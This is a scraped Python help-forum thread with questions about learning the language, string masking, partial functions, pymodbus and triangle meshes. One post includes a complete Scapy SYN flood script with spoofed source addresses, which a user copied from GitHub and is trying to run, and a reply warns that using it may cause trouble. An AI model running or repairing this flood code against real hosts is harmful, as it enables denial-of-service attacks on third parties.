|
The one that creates the best answers.
|
|
|
|
|
I want to learn Python but I don't know where to start to study any programmer to help me. I tried to study on my own but it was too heavy for me.(Quiero aprender Python pero no se por donde empezar a estudiar algun programador que me ayude. Traté de estudiar por mi cuenta, pero era demasiado pesado para mí)
|
|
|
|
|
The best ways to get started are in order:
1) Go on a course. The material will be structured and organised so you get introduced to every part of the language provided you do all the exercises. In addition, if you don;t understand something, a human tutor can explain in different ways until you do.
2) Get a book. The material will be structured and organised so you get introduced to every part of the language provided you do all the exercises. Wrox an Addison Wesley do good ones on most programming languages.
3) Guess, and try to work it out on your own. You might learn something, but it probably won't be what you should be learning. Very poor method, you don't get introduced to anything that you haven't met ...
4) Grab other peoples code and try to understand it. You will learn nothing other than some people release code that doesn't actually work ...
5) Youtube videos. Generally produced by people with no idea how to make a video, how to teach, and most cases how to code; produced for the likes and subscribes as these monetize the channel. There are probably some good ones out there, but they are buried under a sea of rubbish so nobody is likely to find them.
Would I start with Python? No - I'd start with a compiled language like C#, because at least you have to get all the silly syntax errors out of the way before you can run your code. With an interpreted language like Python, something you wrote 2 weeks ago can fail to run when you add new code because that part had never actually been executed before.
"I have no idea what I did, but I'm taking full credit for it." - ThisOldTony
"Common sense is so rare these days, it should be classified as a super power" - Random T-shirt
AntiTwitter: @DalekDave is now a follower!
|
|
|
|
|
|
Rookie question:
Imagine a script that replaces the vowels of curse words with *. Is it possible to match the curse words without case sensitivity but retain the case in the replacement so that the original case format (tone) is retained?
|
|
|
|
|
|
Try this:
table = str.maketrans('aeiouAEIOU', '**********')
for curseword in listofwords:
clearword = curseword.translate(table)
print(clearword)
|
|
|
|
|
Hi All,
Partial Functions I'm sorry can't see any point in them.
from functools import partial
def multiply(x, y):
return x * y
dbl = partial(multiply, 2)
print(dbl(4))
is that supposed to better than multiply(4,2)? or is just a bad example???
|
|
|
|
|
|
Hmmm, a feature that you need on occasions for runtime..?
|
|
|
|
|
I have still not come across a problem that 'needs' this feature. But maybe that's because my blue sky thinking has so many clouds in it.
|
|
|
|
|
|
|
I am sorry whats the use of them in C++ (the first place I came across them) and now in Python what? why? The examples of how to use them not why...
|
|
|
|
|
How to create a anaimations using python
|
|
|
|
|
Hi,
I want to read the pcap file and devide the data into 64byte chunks.
If you need any more info, please let me know.
|
|
|
|
|
That depends on what you're doing with the file. Are you trying to read the file without interpreting the content? Or are you interpreting the content and doing something with that?
|
|
|
|
|
|
I tried to use the following code from github and test SYN flood:
from scapy.all import *
import os
import sys
import random
def randomIP():
ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
return ip
def randInt():
x = random.randint(1000,9000)
return x
def SYN_Flood(dstIP,dstPort,counter):
total = 0
print("Packets are sending ...")
for x in range (0,counter):
s_port = randInt()
s_eq = randInt()
w_indow = randInt()
IP_Packet = IP ()
IP_Packet.src = randomIP()
IP_Packet.dst = dstIP
TCP_Packet = TCP ()
TCP_Packet.sport = s_port
TCP_Packet.dport = dstPort
TCP_Packet.flags = "S"
TCP_Packet.seq = s_eq
TCP_Packet.window = w_indow
send(IP_Packet/TCP_Packet, verbose=0)
total+=1
sys.stdout.write("\nTotal packets sent: %i\n" % total)
def info():
os.system("clear")
dstIP = raw_input ("\nTarget IP : ")
dstPort = input ("Target Port : ")
return dstIP,int(dstPort)
def main():
dstIP,dstPort = info()
counter = input ("How many packets do you want to send : ")
SYN_Flood(dstIP,dstPort,int(counter))
main()
when I run the code, the following error is shown:
Quote: WARNING: No libpcap provider available ! pcap won't be used
'clear' is not recognized as an internal or external command,
operable program or batch file.
Traceback (most recent call last):
File "C:\Users\Admin\Desktop\Python Project\test.py", line 52, in <module>
main()
File "C:\Users\Admin\Desktop\Python Project\test.py", line 48, in main
dstIP,dstPort = info()
^^^^^^
File "C:\Users\Admin\Desktop\Python Project\test.py", line 41, in info
dstIP = raw_input ("\nTarget IP : ")
^^^^^^^^^
NameError: name 'raw_input' is not defined
I'm running this code on windows 11. Why is this error shown?
|
|
|
|
|
By the look of the code that was written for Python version 2.x, and to run under Linux, not Windows. But using such a tool will most likely get you in trouble.
|
|
|
|
|
First of all, I'm not good at English. I'm trying to be politely..
I'm making a program that communicate some gateways using pymodbus(python 3.9, pymodbus 2.5.2).
Recently, when the program is working, I analyzed network via WireShark. and then I realize that each command(read_holding_registers, write_registers, ...) make a connection with server. like this,..
connect()
read_holding_registers()
close()
connect()
read_holding_registers()
close()
...,
Is it right?
I expect this,,
connect()
read_holding_registers(..)
read_holding_registers(..)
read_holding_registers(..) ...
close()
I think, first, making a connection, second, all commands are done, and finally destroy connection.
Of course, all commands are in a same function. but there is a delay time each command.
with ModbusClient('10.181.10.15', 502) as client:
client.connect()
for unit in range(80, 91):
time.sleep(0.3)
data = client.read_holding_registers(600, 40, unit=unit)
print('600 unit id = %d' % unit)
time.sleep(0.3)
data = client.read_holding_registers(700, 30, unit=unit)
print('700 unit id = %d' % unit)
client.close()
|
|
|
|
|
You need to query this with the owners of the pymodbus package.
|
|
|
|
|
I am new to this page and am hoping I have this in the right place.
I am using python combined with pygame to try and generate a screen that is full of random triangles that completely fill the screen with no gaps while each triangle has random length of sides. So it would be partially random while also taking into account the remaining spaces when generating so that it leaves no space uncovered but no overlapping either. IE. Black background and white triangles, the screen actually consists of 100 triangles but because they are all white the screen just looks solid white.
I originally tried to do this with random vertices and trying to connect the sides but that was... messy to say the least and didn't play nice.
Does anyone know any path I could look into for figuring this out?
I'm not looking for full code of having someone do it for me, I just need to figure this out and get an idea on either a method I'm not thinking of or some math I can look at for generation.
Forgive the long winded explanation.
|
|
|
|
|
This is an OK place to ask such a question, but you could also have used the Algorithms forum (because your question isn't specifically about coding in python).
If you scatter a random set of points around the screen and want to turn them into a triangular mesh, then Delaunay triangulation[^] is your friend.
Software rusts. Simon Stephenson, ca 1994. So does this signature. me, 2012
|
|
|
|
|
Thanks for the location for posting thoughts on that!
Also huge thanks on the idea of the Delaunay Triangulation.
I was able to make an algorithm for creating a 500 point mesh with 1 point in each corner (to leave no gaps) and the rest randomized and implemented the triangulation and now I have a solid white screen of triangles and have them added to a list as they generate so that each triangle can be interacted with independently.
You have been of amazing assistance.
-Tairros
|
|
|
|